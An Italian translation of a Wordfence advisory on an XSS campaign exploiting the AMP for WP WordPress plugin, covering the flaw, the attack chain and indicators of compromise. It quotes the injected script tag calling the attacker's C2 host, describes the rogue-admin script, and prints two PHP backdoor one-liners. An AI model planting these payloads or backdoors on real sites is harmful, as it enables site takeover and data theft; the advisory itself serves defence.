Tempi molto duri per i proprietari di siti WordPress, a causa di un altro grave problema di sicurezza collegato al plugin AMP For WP. Moltissimi sono i gestori di siti web che non hanno una minima idea che WordPress (e i suoi plugin) devono essere costantemente aggiornati. Si continuano a vedere installazioni con combinazioni utente/password Admin/admin e nessun tipo di sicurezza proattiva o reattiva. Al massimo si installa qualche plugin per il controllo della sicurezza delegandogli un impossibile compito: difendere il proprio sito da attacchi malware.
Il risultato è una serie continua di esplosioni di infezioni malware ogni qual volta un plugin o il core di WordPress espongano il sito a dei problemi di sicurezza. Alla luce delle nuove regole imposte dal GDPR sulla comunicazione al Garante Privacy della compromissione dei siti, questo comporta responsabilità sempre più elevate.
Estratto di articolo tradotto [qui l’originale in inglese] autorizzato da Wordfence che detiene il copyright dei testi.
WordPress compromesso con malware a causa di AMP for WP – Accelerated Mobile Pages
La scorsa settimana le notizie hanno rivelato una serie di vulnerabilità nel plugin AMP For WP, installato su oltre 100.000 siti WordPress. Il collaboratore di WordPress Sybre Waaijer ha identificato il problema di sicurezza e lo ha confidenzialmente comunicato al team di plugin di WordPress. Per sfruttare il difetto, un utente malintenzionato deve avere un minimo di accesso a livello di subscriber su un sito vulnerabile.
Il team di Wordfence ha identificato una campagna XSS (cross-site scripting) che sta sfruttando attivamente questo difetto di sicurezza. È fondamentale che i proprietari dei siti che utilizzano AMP For WP procedano all’aggiornamento alla versione più recente di questo plug-in non appena possibile. Al momento della stesura, la versione più recente di AMP For WP è la versione 0.9.97.20.
Il firewall di Wordfence ha una nuova regola che difende i siti contro questo exploit. Questa regola è stata rilasciata ai clienti di Premium Wordfence e sarà disponibile per i clienti gratuiti 30 giorni dopo il rilascio. Inoltre, il firewall di Wordfence ha una regola XSS generica che è disponibile per i clienti gratuiti e Premium da oltre 2,5 anni, che cattura la maggior parte degli exploit che hanno come obiettivo questa vulnerabilità.
Inoltre, il team di Wordfence ha rilasciato firme di malware in produzione che rilevano i payload del malware che vengono depositati sui server presi di mira in questo attacco. Questi sono attualmente in produzione per i clienti Wordfence Premium.
Il resto di questo post documenta la campagna di attacco che il team Wordfence ha identificato, sfruttando la recente vulnerabilità scoperta nel plugin AMP per WP. Il resto di questo post è scritto per i team di sicurezza, gli sviluppatori, i venditori e altri che operano nella rete. Descrive la catena di attacco e include gli IOC (indicatori di compromesso) che possono essere utilizzati per migliorare i prodotti di sicurezza e rafforzare i firewall e i sistemi di rilevamento delle intrusioni contro questa minaccia.
La vulnerabilità
Un certo numero di difetti di sicurezza sono stati corretti nella recente versione del plugin. Il punto cruciale della situazione è una mancanza generale di controlli delle funzionalità associati agli hook AJAX del plugin. Un utente deve avere una sessione di accesso attiva per effettuare le chiamate necessarie al plug-in e non importa quali autorizzazioni siano state concesse all’utente sul sito interessato.

Il codice sopra da install / index.php scorre su dati POST senza alcun controllo di funzionalità.
Gli exploit attivi che abbiamo identificato sfruttano questo insieme di difetti per modificare le opzioni del plugin memorizzate nel database di WordPress.
Attaccare l’amministratore
Gli attacchi più frequenti contro questo vettore tentano di iniettare il seguente payload XSS nel contenuto del sito della vittima con l’obiettivo di influenzare un amministratore che ha effettuato l’accesso:
<script src = https: //sslapis[.]com/assets/si/stat.js> </ script>
Se il browser di un amministratore esegue il codice JavaScript malevolo, verrà generato un payload più grave dal server di comando e controllo (C2) su sslapis[.]com. Questo script, stat.js, contiene una serie di caratteristiche notevoli.

La funzione SendData () notifica al server C2 qualsiasi azione eseguita correttamente dal codice JavaScript dannoso
Un’area critica è la funzione processNewUser (), che tenta di dirottare la sessione del browser dell’amministratore interessato per registrare un nuovo account amministratore denominato supportuuser:

La funzione processNewUser () tenta di utilizzare un iframe nascosto per eseguire il processo di registrazione dell’utente.
Dopo aver creato un elemento iframe nascosto nella pagina visualizzata dall’amministratore interessato, lo script simula il processo di compilazione del modulo Nuovo utente. Come parte di questo processo seleziona il ruolo di amministratore e invia un evento click () al pulsante di invio per creare un nuovo utente con ruolo di amministratore.
Oltre alla creazione di un account amministratore non autorizzato, lo script tenta anche di inserire codice backdoor nei plug-in del sito interessato. Ciò avviene in modo simile alla creazione di amministratore, con un iframe nascosto aggiunto al contenuto della pagina e utilizzato per simulare le interazioni di un amministratore con le aree Plugin del dashboard.

La funzione sopra definita è utilizzata per iniettare PHP dannosi nei plug-in di un sito.
Le backdoor PHP immesse nei plugin di un sito sono le seguenti:
@array_diff_ukey (@array ((stringa) @ $ _ REQUEST [‘vqmode’] => 1), @array ((stringa) stripslashes (@ $ _ RICHIESTA [‘mappa’]) => 2), @ $ _ RICHIESTA [‘avvio ‘]);
@extract ($ _ RICHIESTA); @ die ($ CDate ($ AData));
Entrambe queste backdoor sono modi efficaci per consentire a un utente malintenzionato di eseguire codice PHP arbitrario su siti infetti, anche se l’account amministratore canaglia viene rimosso con successo.
Server C2
Il server di comando e controllo (C2) per questa campagna si trova attualmente su sslapis[.]com. Questo host serve la versione live del payload JavaScript descritto sopra, nonché uno script utilizzato per ricevere dati dalle sessioni del browser interessate. Il dominio stesso è stato registrato il 2 novembre con la società ucraina ukrnames[.]com, ma il server che ospita il dominio esiste da più tempo, essendo stato associato a una truffa di phishing di Apple poco più di un anno fa.
Stile di codifica
Il file JavaScript ospitato sul server C2 contiene un numero di righe commentate apparentemente utilizzate durante lo sviluppo dall’autore del malware per testare varie funzioni. Inoltre, lo stesso JavaScript è insolitamente ben formattato rispetto ad altri malware, in cui il codice “scritto male” o altrimenti offuscato è la norma. Questo può cambiare in qualsiasi momento perché lo script è ospitato sul server dell’avversario.
Mentre gli attacchi mirati a questa vulnerabilità provengono da una serie di indirizzi sorgente, un difetto nell’esecuzione di questi attacchi li rende facilmente rintracciabili. È comune per le piattaforme di attacco fare lo spoofing di una stringa User-Agent di un browser ben noto nel tentativo di far confluire il proprio traffico con la normale attività di navigazione. In questo caso, tuttavia, la stringa User-Agent contenuta in queste richieste dannose è interrotta: Mozilla / 5.0 (Windows NT 6.1; Win64; x64; rv.
Si noti che in stringhe User-Agent simili, un numero di versione segue “rv”. suggerisce che l’autore dell’attacco intendesse modificare in altro modo il numero di versione nella stringa a livello di codice. Un User-Agent danneggiato è stato trovato in tutti gli attacchi associati a questo avversario.
Indicatori di compromessione (IOC)
La maggior parte degli IP di attacco prevalenti
181.215.147.23
193.112.161.204
219.145.170.23
192.169.198.104
193.112.65.16
46.101.156.232
193.112.91.155
218.92.252.230
208.109.53.224
41.139.45.78
Domini in uscita utilizzati
sslapis[.]com
Agenti utente associati
Mozilla / 5.0 (Windows NT 6.1; Win64; x64; rv
Indicatori del database
- La presenza di account non autorizzati nella tabella utenti del tuo sito, incluso ma non limitato al seguente esempio:
supportuuser - La presenza di qualsiasi JavaScript introdotto non intenzionalmente in tutte le voci wp_options associate al plug-in AMP For WP, che contengono l’amplificatore di stringhe nel campo option_name.
Conclusione
Questa campagna di malware è un esempio del perché una vulnerabilità XSS è un problema con priorità elevata. Quando un utente malintenzionato è in grado di eseguire il proprio codice JavaScript nel browser dell’amministratore di un sito, esistono diverse tecniche che possono impiegare per attaccare ulteriormente un sito. Mentre il dominio C2 nel caso di questo attacco è molto nuovo e deve ancora apparire nelle blacklist usate dai popolari plugin del browser come uBlock Origin, gli amministratori di siti compromessi potrebbero considerare l’utilizzo di un’estensione del browser come NoScript.
Abbiamo considerato una politica di protezione dei contenuti (CSP) per la possibile mitigazione di questo attacco, ma l’autore dell’attacco poteva modificare il payload XSS in modo che fosse una versione inline dello script caricato dal server C2 di sslapis.
Come sempre, la migliore difesa contro questi attacchi è mantenere aggiornato il software del tuo sito. La correzione di sicurezza per AMP For WP era disponibile da quasi due settimane prima dell’inizio di questi attacchi, con la speranza di porre un limite estremo alla superficie di attacco sfruttabile di questa vulnerabilità.
Per i siti che non sono in grado di aggiornarsi o per quelli che non sono stati aggiornati per altri motivi, è stata aggiunta una regola al firewall di Wordfence che impedisce questi attacchi. Questa regola è già in uso su tutti gli utenti Premium di Wordfence e verrà rilasciata agli utenti di Free Wordfence dopo 30 giorni. Tuttavia, la maggior parte dei tentativi di sfruttare questa vulnerabilità innesca una regola firewall preesistente costruita per bloccare generici payload XSS, e questa regola ha protetto gli utenti di Wordfence gratuitamente.
Scritto da Mikey Veenstra con l’assistenza di Stephen Rees-Carter, James Yokobosky e Matt Barry.
Hai un problema di sicurezza? Richiedi un preventivo
Se vuoi condividere la tua esperienza sul caso, commenta sotto.
Articolo apparso per la prima volta in www.fedegrafia.com il 21/11/2018, la notizia può essere condivisa attraverso link con attribuzione all’autore. Non può in ogni caso essere copiato senza autorizzazione
Lascia un commento